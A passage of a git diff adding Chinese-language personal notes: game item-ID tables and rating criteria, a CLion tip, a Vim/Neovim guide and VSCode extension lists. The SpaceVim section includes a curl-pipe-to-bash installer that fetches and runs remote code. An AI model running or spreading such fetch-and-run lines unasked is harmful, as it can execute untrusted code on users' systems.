-------- | +| 15 | Medkit | 医药箱 | +| 394 | Dressing | 医用绷带 | +| 395 | Bloodbag | 血袋 | +| 96 | Splint | 夹板 | +| 95 | Bandage | 绷带 | +| 387 | Adrenaline | 肾上腺素 | +| 388 | Morphine | 吗啡 | +| 389 | Antibiotics | 抗生素 | +| 390 | Painkillers | 止痛药 | +| 391 | Vitamins | 维他命 | +| 392 | Tablets | 净化药片 | +| 393 | Rag | 小绷带 | + +### 爆炸物 + +| ID | English | 中文 | +| ---- | ----------------- | -------- | +| 254 | Grenade | 手雷 | +| 1240 | Remote Detonator | 引爆器 | +| 1241 | Breaching Charge | 遥控C4 | +| 1242 | Makeshift Grenade | 土质手雷 | +| 1100 | Sticky Grenade | 黏性手雷 | +| 1101 | Landmine | 地雷 | +| 1102 | Claymore | 阔剑地雷 | + +### 穿戴装备 + +| ID | English | 中文 | +| --- | ------- | ---- | + +## 载具 + +### 命令 + +``` +/vehicle [player]/[id] +``` + +### 军用吉普(Military jeep) + +| ID | 中文 | +| --- | ---------------- | +| 87 | 丛林色军用吉普车 | +| 88 | 沙漠色军用吉普车 | +| 145 | 橄榄色军用吉普车 | +| 146 | 联盟军用吉普车 | + +### 坦克(Tank) + +| ID | 中文 | +| --- | ---------- | +| 120 | 丛林色坦克 | +| 121 | 沙漠色坦克 | +| 137 | 俄罗斯坦克 | + +## 参考 + +- diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/0.png" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/0.png" new file mode 100644 index 000000000..542f40323 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/0.png" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/1.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/1.jpg" new file mode 100644 index 000000000..a1ceb6491 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/1.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/2.png" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/2.png" new file mode 100644 index 000000000..22b7295a0 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/2.png" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/3.png" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/3.png" new file mode 100644 index 000000000..87e4572fe Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/3.png" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/4.png" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/4.png" new file mode 100644 index 000000000..a6e92b3eb Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/4.png" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/5.png" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/5.png" new file mode 100644 index 000000000..3855e988a Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/5.png" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/6.png" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/6.png" new file mode 100644 index 000000000..48d89fe26 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/6.png" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/7.png" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/7.png" new file mode 100644 index 000000000..207665417 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/7.png" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/8.png" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/8.png" new file mode 100644 index 000000000..fa111ef61 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/8.png" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/arma_3_cover.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/arma_3_cover.jpg" new file mode 100644 index 000000000..84221b0ab Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/arma_3_cover.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/clean_hands.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/clean_hands.jpg" new file mode 100644 index 000000000..8f20f6465 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/clean_hands.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/clockwork_soldiers.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/clockwork_soldiers.jpg" new file mode 100644 index 000000000..2b71b7c46 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/clockwork_soldiers.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/death_stranding_cover.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/death_stranding_cover.jpg" new file mode 100644 index 000000000..d0826bfe3 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/death_stranding_cover.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/dirt_rally_2.0_cover.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/dirt_rally_2.0_cover.jpg" new file mode 100644 index 000000000..f3e0c256c Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/dirt_rally_2.0_cover.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/dishonored2.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/dishonored2.jpg" new file mode 100644 index 000000000..3df554eee Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/dishonored2.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/dishonored_2_cover.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/dishonored_2_cover.jpg" new file mode 100644 index 000000000..eeffbdd1d Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/dishonored_2_cover.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/fatal_redirect.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/fatal_redirect.jpg" new file mode 100644 index 000000000..6509ae04a Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/fatal_redirect.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/fearless_fall.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/fearless_fall.jpg" new file mode 100644 index 000000000..4523865d0 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/fearless_fall.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/flesh_and_steel.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/flesh_and_steel.jpg" new file mode 100644 index 000000000..10dbe9cec Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/flesh_and_steel.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/heartbeat_reaper.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/heartbeat_reaper.jpg" new file mode 100644 index 000000000..0a0ab6233 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/heartbeat_reaper.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/insurgency_sandstorm_cover.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/insurgency_sandstorm_cover.jpg" new file mode 100644 index 000000000..68dba66d5 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/insurgency_sandstorm_cover.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/shadow.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/shadow.jpg" new file mode 100644 index 000000000..16127dc1a Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/shadow.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/unturned_cover.jpg" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/unturned_cover.jpg" new file mode 100644 index 000000000..76f8ff16a Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/assets/unturned_cover.jpg" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/\346\240\207\345\207\206.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/\346\240\207\345\207\206.md" new file mode 100644 index 000000000..728fed6e7 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/\346\240\207\345\207\206.md" @@ -0,0 +1,39 @@ +# 标准 + +## 评分 + +单个游戏包含若干个评分选项, 每个评分选项范围为 1 - 10 的整数, 共 10 个等级. 其次 `-` 表示该选项无法评分, 可能是评分需要参考的内容在游戏中不存在. + +### 总体 + +对游戏总体质量的评分, 包含了参与评分和未参与评分的项目. + +### 画面 + +- 3: 能正常显示画面. +- 6: 合格. +- 8: 良好. +- 9: 优秀. +- 10: 顶尖. + +### 音效 + +- 3: 有基本的音效. +- 6: 合格. +- 9: 优秀. +- 10: 顶尖. + +### 优化 + +- 1: 存在严重性能问题. +- 3: 存在明显能问题. +- 6: 合格. +- 8: 良好. +- 9: 优秀. +- 10: 优化极佳. + +### 剧情 + +- 3: 有基本的剧情. +- 6: 合格 +- 10: 顶尖. diff --git "a/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/CLion_\346\225\205\351\232\234\346\216\222\351\231\244.md" "b/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/CLion_\346\225\205\351\232\234\346\216\222\351\231\244.md" new file mode 100644 index 000000000..15d49c5b4 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/CLion_\346\225\205\351\232\234\346\216\222\351\231\244.md" @@ -0,0 +1,10 @@ +# CLion 故障排除 + +## 命令行输出结果中空格的处理不正确 + +禁用 PTY: + +1. `Help | Find Action`. +2. 输入 "Registry". +3. 打开 Registry. +4. 找到并禁用 `run.processes.with.pty` 选项. diff --git "a/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/Vim.md" "b/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/Vim.md" new file mode 100644 index 000000000..5efb7840b --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/Vim.md" @@ -0,0 +1,322 @@ +# Vim + +![截图](assets/neovim.png){ width=80% style="display: block; margin: 0 auto" } + +## 简介 + +### 是什么 + +[Vim](http://www.vim.org/) 是一款基于 TUI 的编辑器[^1], 特点是可以只通过键盘使用/高度可自定义. 前者使得 Vim 使用起来十分高效, 后者使得 VIM 可以通过配置添加各种想要的功能. + +Vim (**V**i **im**proved) 最初是为了模仿 Vi, 后面 Vim 加入了许多新功能变成了 Vi 的改进版. 其中包含了不少现代 IDE 具备的基本功能. + +### 怎么学 + +对于已经熟悉了直观 GUI 的用户来说, Vim 显得不那么友善. Vim 的上手难度明显高于其他常见的基于 GUI 的编辑器. + +刚开始使用 Vim 的过程会比较坎坷, 因为一些简单的编辑功能需要重新学习, 而且曾经熟悉的编辑方法可能不再适用. +但是, 随着操作的熟练程度的提高, 用户的编辑效率也会逐步提升, 甚至超过以前使用的基于 GUI 的编辑器. + +Vim 的使用并不复杂, 通过速查表可以看出常用命令并不多. +掌握 Vim 并不需要刻意记忆命令, 经常使用即可. [vimtutor](https://github.com/vim/vim/tree/master/runtime/tutor) 提供了一个交互式的入门教学, 时长约 30min. + +使用熟悉的 IDE 并且使用 Vim 的键位来进行学习或过渡, 减少 Vim 的上手难度. + +![Vim tutor mode - github.com/fmoralesc/vim-tutor-mode](assets/vim_tutor_mode.png){ width=70% style="display: block; margin: 0 auto" } + +其次 Vim User Manual[^2] 也是值得一读的. + +### 为什么 + +相比于其他现代 IDE, 初始 Vim 的功能较为简单, 而且其高度可自定义的特性也受到了 TUI 编辑器的限制. +因此, 在学习 Vim 之前, 应该先对其优缺点有一个清晰的认识. + +对于一些简单的编辑操作(例如修改配置文件), 只需掌握 Vim 的基本用法即可. +但是, 如果要利用 Vim 进行开发, 就需要更深入地学习 Vim 的高级功能, 并且至少要达到纯键盘编辑的效率能够与其他 GUI 编辑器相媲美, 以免降低开发效率. + +Vim 高效的键盘使用方案也被其他的现代 IDE 甚至包括浏览器通过插件所支持, 比如 Visual Studio Code 中的 [Vim 插件](https://marketplace.visualstudio.com/items?itemName=vscodevim.vim) 和 Chrome 浏览器中的 [Vimium C 插件](https://chrome.google.com/webstore/detail/vimium-c-all-by-keyboard/hfjbmagddngcpeloejdejnfgbamkjaeg). +因此即使不直接使用 Vim, 学习 Vim 依然十分有价值. + +其次是 Vim 本身也出现了一个新的替代品 Neovim, 在功能比 Vim 更加丰富的情况下减少了约 30% 的代码量. 拥有更活跃的社区和其他诸多优点. + +Vim 在终端下运行, 这意味着 Vim 可以直接在字符界面中和 SSH 里使用. + +## 快速入门 + +![Vi/Vim 速查表 - www.viemu.com](assets/vi_vim_cheat_sheet.gif){ align=right width=60% } + +### 模式 + +- 普通模式 (normal mode). +- 插入模式 (insert mode). +- 可视模式 (visual mode). +- 命令模式 (command mode). + +下面将列举各个模式下最常用的命令. + +### 普通模式 + +普通模式是默认的模式, 不同于其他以插入模式作为默认模式的无状态编辑器. 按键被用作以下功能. + +#### 移动光标 + +相比使用方向键, 使用字母能更快/更容易的移动光标. 由于只有4个键且使用频率较高, 很快就能适应. + +```txt + ^ gg + k H +0 < h l > $ M + j L + v G +``` + +| | | +| --------------- | ------------------------ | +| `h`/`j`/`k`/`l` | 向左/下/上/右移动 | +| `0`/`|` | 移动到行首 | +| `$` | 移动到行尾 | +| `^` | 移动到行内第一个非空字符 | +| `gg` | 移动到文件的第一行 | +| `G` | 移动到文件最后一行 | +| `H` | 移动到屏幕的第一行 | +| `M` | 移动到屏幕的中间 | +| `L` | 移动到屏幕的最后一行 | +| `w` | 向后移动一个词 | +| `W` | 向后移动一个词, 忽略标点 | +| `b` | 向前移动一个词 | +| `B` | 向前移动一个词, 忽略标点 | + +#### 翻动页面 + +| | | +| ---------- | ----------- | +| `zz` | 居中当前行. | +| `Ctrl` `u` | 向上翻半页. | +| `Ctrl` `d` | 向下翻半页. | + +#### 删除内容 + +| | | +| ---- | ---------------------------------- | +| `x` | 删除光标上的当前字符 | +| `dd` | 删除一整行 | +| `D` | 删除当行光标之后的内容 | +| `C` | 删除光标内容的内容, 并进入插入模式 | + +#### 插入内容 + +普通模式使用下列命令将会切换为插入模式. + +| | | +| --- | -------------------------------------------- | +| `i` | 在光标左侧进入插入模式 | +| `I` | 在光标行的行首输入正文 | +| `a` | 在光标右侧输入内容 | +| `A` | 在光标所在行的行尾输入内容 | +| `o` | 在光标处的下一行添增内容 | +| `O` | 在光标处的上一行添增新行, 光标位于新行的行首 | + +#### 查找 + +| | | +| -------- | ---------------------------- | +| `/` | 向后查找 `` | +| `/\c` | 向后查找 ``, 大小写不敏感 | +| `?` | 向前查找 `` | +| `*`/`#` | 向后/前查找光标处的词 | +| `n`/`N` | 下/上一条匹配项 | + +#### 跳转 + +| | | +| ---------- | ----------------------- | +| `Ctrl` `o` | 跳转到上一次跳转的位置. | +| `Ctrl` `i` | 跳转到下一次跳转的位置. | +| `gx` | 打开光标处内容 | + +### 插入模式 + +该模式也可以理解为 "编辑模式". 在普通模式下执行插入相关操作就会进入插入模式. 按 `Esc` 回到普通模式. + +### 命令模式 + +在普通模式下按 `:`/`/` 即可进入命令模式. 按 `Esc` 回到普通模式. +此时光标会移动到屏幕最下方, 并等待用户输入命令. 可以使用 `Tab` 补全命令. + +#### 保存/退出 + +| | | +| --------- | ---------------------------- | +| `:w` | 写入 (保存) | +| `:q` | 退出 | +| `:wq` | 写入并退出 | +| `:x`/`ZZ` | 写入并退出, 仅在有修改时写入 | + +#### 打开文件 + +| | | +| ---------------------- | ----------------------------- | +| `:e file` | 打开文件 `file` | +| `:sp file` (`:split`) | 水平分割窗口并打开文件 `file` | +| `:vs file` (`:vsplit`) | 垂直分割窗口并打开文件 `file` | + +#### 按键宏 + +| | | +| -------- | ------------------------ | +| `q` | 开始录制宏到寄存器 `reg` | +| `q` | 结束录制宏. | +| `@` | 执行宏 `reg` | + +#### 其他 + +| | | +| ------------------- | ---------------------- | +| `:Tutor` | vimtutor 交互式教程 | +| `:h key`(`:help`) | 查看帮助 | +| `Ctrl` `]` | 在帮助中跳转到指定 tag | +| `:n` | 定位到第 `n` 行 | +| `:!cmd` | 执行命令 `cmd` | +| `:ter`(`:terminal`) | 打开内置终端 | + +#### 全局操作 + +在命令模式下, `%` 表示所有行, 可以结合其他命令执行一些全局操作, 比如 `:%d` 删除文件全部内容, `:%y` 拷贝文件全部内容. + +### 可视模式 + +在普通模式下按 `v` 即可进入可视模式. 按 `Esc` 回到普通模式. + +## 安装 + +```sh +sudo pacman -S nvim # 安装 Neovim +sudo pacman -S python-pynvim # 或 pip install pynvim, 支持依赖 Python 的插件 +``` + +!!! tips + 使用 `sudoedit` 而不是 `sudo vim`. + 若已经完成编辑, 可以使用 `:w !sudo tee %`. + +## 配置 + +Neovim 的配置文件位置: + +- Linux: `~/.config/nvim`. +- Windows: `%LocalAppData%/nvim`. + +在配置 neovim 时, 可能会遇到配置文件中存在语法错误等问题, 导致 neovim 无法正常启动或运行. +这种情况下, 可以使用 `nvim -u NONE` 命令来忽略配置文件, 从而继续使用 neovim 的基本功能. + +### 按键映射 + +默认的 `Esc` 按键不在主键盘区内, 常见的等价键位有 `Ctrl` `C`/`Ctrl` `[`, 常见的替代键位有 `jk`/`jj`/`CapsLock`. +更换键位后可以将原键位映射到 `` 来使其失效, 以提高切换到新键位的效率. + +### 预配置 + +#### [AstroNvim](https://github.com/AstroNvim/AstroNvim) + +**仅适用于 Neovim**. + +```sh +# 安装 +git clone --depth 1 https://github.com/AstroNvim/template ~/.config/nvim +rm -rf ~/.config/nvim/.git +nvim +``` + +- 安装 LSP: `:LspInstall `. +- 安装语法高亮: `:TSInstall `. +- 更新插件: `:PackerSync`. +- 更新 AstroNvim: `:AstroUpdate`. + +#### [SpaceVim](https://spacevim.org/cn/) + +适用于 Vim/Neovim. + +```sh +curl -sLf https://spacevim.org/cn/install.sh | bash # 安装 +curl -sLf https://spacevim.org/cn/install.sh | bash -s -- --uninstall # 卸载 +``` + +[SpaceVim 入门指南](https://spacevim.org/cn/quick-start-guide/)有配置文件说明和快速搭建适用于不同编程语言环境方法的索引. + +- 打开配置文件: `SPC f v d`, 可以通过修改配置文件 `~/.SpaceVim.d/init.toml` 来启用更多功能或安装插件. +- 更新全部插件: `:SPUpdate`, 对全部已安装的插件进行更新, 包括 SpaceVim 自身. +- 开启/关闭大纲: `F2`. +- 开启/关闭文件树: `F3`. +- 查找当前项目下的文件: `CTRL` `p`. + +要启用 nvim-qt 中的右键文本编辑菜单, 往 ginit.vim 中添加一下内容: + +```vim +nnoremap :call GuiShowContextMenu() +inoremap :call GuiShowContextMenu() +vnoremap :call GuiShowContextMenu() +``` + +SpaceVim 默认只启用了最基本的 [Layers](https://spacevim.org/layers/) (可以看作是特定功能的合集), 用户可以应根据自身需求启用他们来添加功能. 在用户进行简单的配置并重启后, 会自动下载所需的的插件并进行配置. + +#### [NvChad](https://github.com/NvChad/NvChad) + +**仅适用于 Neovim**. + +```sh +# 安装 +git clone https://github.com/NvChad/NvChad ~/.config/nvim --depth 1 && nvim + +# 卸载 +rm -rf ~/.config/nvim +rm -rf ~/.local/share/nvim +rm -rf ~/.cache/nvim +``` + +- 管理 LSP/DAP/Linter/Formatter: `:Mason` +- 安装语法高亮: `:TSInstall `. +- 更新插件: `:PackerSync`. +- 查看快捷键: `:Telescope keymaps`. + +## GUI + +[Neovide](https://neovide.dev/) 为 Neovim 提供了一个 GUI 界面, 并支持了一些终端上难以实现的功能. +GUI 可以为 Vim/Neovim 提供界面美化 (如内部窗口的透明模糊背景)/平滑动画 (如窗口切换/大小变化) 等功能, 为用户提供更舒适/流畅的编程体验. + +更多项目请参考 [Neovim Wiki](https://github.com/neovim/neovim/wiki/Related-projects#gui). + +## 插件 + +| 名称 | 描述 | +| ------------------ | --------------------------------------------------------------------- | +| [leap.nvim] | 快速光标跳转, 主要适用于跨行移动, 相比搜索再跳转的方法更快. | +| [vim-visual-multi] | 多光标. | +| [vim-lastplace] | 打开文件时回到上次编辑的位置. | +| [instant.nvim] | 远程结对编程, 类似 Visual Studio Live Share 的简化版, 只具备基本功能. | +| [hardtime.nvim] | 帮助培养良好的键盘工作流. | + +[leap.nvim]: https://github.com/ggandor/leap.nvim +[vim-visual-multi]: https://github.com/mg979/vim-visual-multi +[vim-lastplace]: https://github.com/farmergreg/vim-lastplace +[instant.nvim]: https://github.com/jbyuki/instant.nvim +[hardtime.nvim]: https://github.com/m4xshen/hardtime.nvim + +## 错误排查 + +若部分功能无法正常使用, 可以通过执行 `:checkhealth` 来进行自动排查故障, 并根据结果修复故障. + +## 参见 + +- +- [A guide to using Lua in Neovim](https://github.com/nanotee/nvim-lua-guide) +- [Vi 与 Emacs 之间的编辑器之战](https://en.wikipedia.org/wiki/Editor_war) +- [Vim Awesome](https://vimawesome.com/) +- [Awesome Neovim](https://github.com/rockerBOO/awesome-neovim) + +## 参考 + +- [Interactive Vim tutorial (openvim.com)](https://www.openvim.com/tutorial.html) +- [Vim Cheat Sheet & Quick Reference](https://quickref.me/vim) +- [Graphical vi-vim Cheat Sheet and Tutorial (viemu.com)](http://www.viemu.com/a_vi_vim_graphical_cheat_sheet_tutorial.html) + +[^1]: 也有提供 GUI 的分支项目, 如 gVim/[macVim](https://github.com/macvim-dev/macvim). +[^2]: [Vim](https://neovim.io/doc/user/usr_01.html)/[Neovim](https://neovim.io/doc/user/usr_01.html). diff --git "a/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/Visual_Studio_Code.md" "b/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/Visual_Studio_Code.md" new file mode 100644 index 000000000..641c031b2 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/Visual_Studio_Code.md" @@ -0,0 +1,88 @@ +# Visual Studio Code + +**缩写**: VSCode. + +VSCode 主要有以下版本: + +- [VSCode] : 官方提供的版本, 属于私有软件, 包含微软的遥测功能. +- [VSCodium] : 社区提供的版本, 属于开源软件, 剔除了微软的遥测功能. + - **不支持部分 VSCode 插件**: 如果你需要使用这些插件 (如 Live Share, Remote - SSH 等), 请考虑使用 VSCode. 详情请参考[拓展兼容性](https://github.com/VSCodium/vscodium/blob/master/docs/extensions-compatibility.md). + - **插件来源于 **: 部分插件需要从 手动下载并安装 (如 GitHub Copilot). + +[VSCode]: https://github.com/microsoft/vscode +[VSCodium]: https://github.com/VSCodium/vscodium + +## 拓展 (Extensions) + +- [Error Lens] : 行内错误提示. +- EditorConfig for VS Code. +- [Todo Tree] : 高亮 `TODO`/`FIXME`, 并提供树形图导航. +- [Vim] : Vim 模拟. +- Hex Editor: 16 进制编辑器. +- [LeetCode] : 脱离浏览器使用 LeetCode. + +[Error Lens]: https://open-vsx.org/extension/usernamehw/errorlens +[Todo Tree]: https://marketplace.visualstudio.com/items?itemName=Gruntfuggly.todo-tree +[Vim]: https://marketplace.visualstudio.com/items?itemName=vscodevim.vim +[LeetCode]: https://marketplace.visualstudio.com/items?itemName=LeetCode.vscode-leetcode + +### AI + +- [GitHub Copilot] : AI 自动补全, 收费 (天价). +- [TONGYI Lingma] : AI 自动补全, 编写 Git 提交信息 (效果远超 GitHub Copilot). +- Tabnine AI: AI 自动补全, 有免费版, 收费 (天价). + +[GitHub Copilot]: https://marketplace.visualstudio.com/items?itemName=GitHub.copilot +[TONGYI Lingma]: https://marketplace.visualstudio.com/items?itemName=Alibaba-Cloud.tongyi-lingma + +### Rust + +- [rust-analyzer] : LSP. +- [Even Better TOML]. +- [Dependi] : 提供依赖项版本信息. +- [CodeLLDB] : 调试. + +[rust-analyzer]: https://marketplace.visualstudio.com/items?itemName=rust-lang.rust-analyzer +[Even Better TOML]: https://marketplace.visualstudio.com/items?itemName=tamasfe.even-better-toml +[Dependi]: https://marketplace.visualstudio.com/items?itemName=fill-labs.dependi +[CodeLLDB]: https://open-vsx.org/extension/vadimcn/vscode-lldb + +### Markdown + +- [Markdown Extended] : 包含多种 markdown-it 插件, 支持导出为多种格式 (包括 PDF). +- Markdown All in One: 包含如格式化表格等便捷操作. +- markdownlint: 语法警告, 保证代码的兼容性. + +[Markdown Extended]: https://open-vsx.org/extension/jebbs/markdown-extended + +### Git + +- [GitHub Pull Requests and Issues] : 快捷查看 GitHub 项目的 PRs 和 Issues. + +[GitHub Pull Requests and Issues]: https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-pull-request-github + +### Typst + +- [Tinymist Typst] : LSP. + +[Tinymist Typst]: https://open-vsx.org/extension/myriad-dreamin/tinymist + +### Haskell + +- [Haskell]. + +[Haskell]: https://open-vsx.org/extension/haskell/haskell + +### C++ + +- [CMake](https://marketplace.visualstudio.com/items?itemName=twxs.cmake) CMake 语法高亮等. +- [Doxygen Documentation Generator](https://marketplace.visualstudio.com/items?itemName=cschlosser.doxdocgen) 生成 Doxygen 文档注释. + +### GLSL + +- GLSL Lint. +- Shader languages support for VS Code. + +## 参见 + +- [VS Code Top-Ten Pro Tips](https://www.youtube.com/watch?v=u21W_tfPVrY). diff --git "a/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/assets/neovim.png" "b/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/assets/neovim.png" new file mode 100644 index 000000000..72bc15c24 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/assets/neovim.png" differ diff --git "a/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/assets/vi_vim_cheat_sheet.gif" "b/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/assets/vi_vim_cheat_sheet.gif" new file mode 100644 index 000000000..6992de152 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/assets/vi_vim_cheat_sheet.gif" differ diff --git "a/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/assets/vi_vim_cheat_sheet_cn.gif" "b/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/assets/vi_vim_cheat_sheet_cn.gif" new file mode 100644 index 000000000..bcbb1f763 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/assets/vi_vim_cheat_sheet_cn.gif" differ diff --git "a/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/assets/vim_tutor_mode.png" "b/docs/\345\205\266\344\273\226/\347\274\226\350\276\221\345\231\250/assets/vim_tutor_mode.png" new file mode 100644 index 000000000..2c94f0d88 Binary files /dev/null and 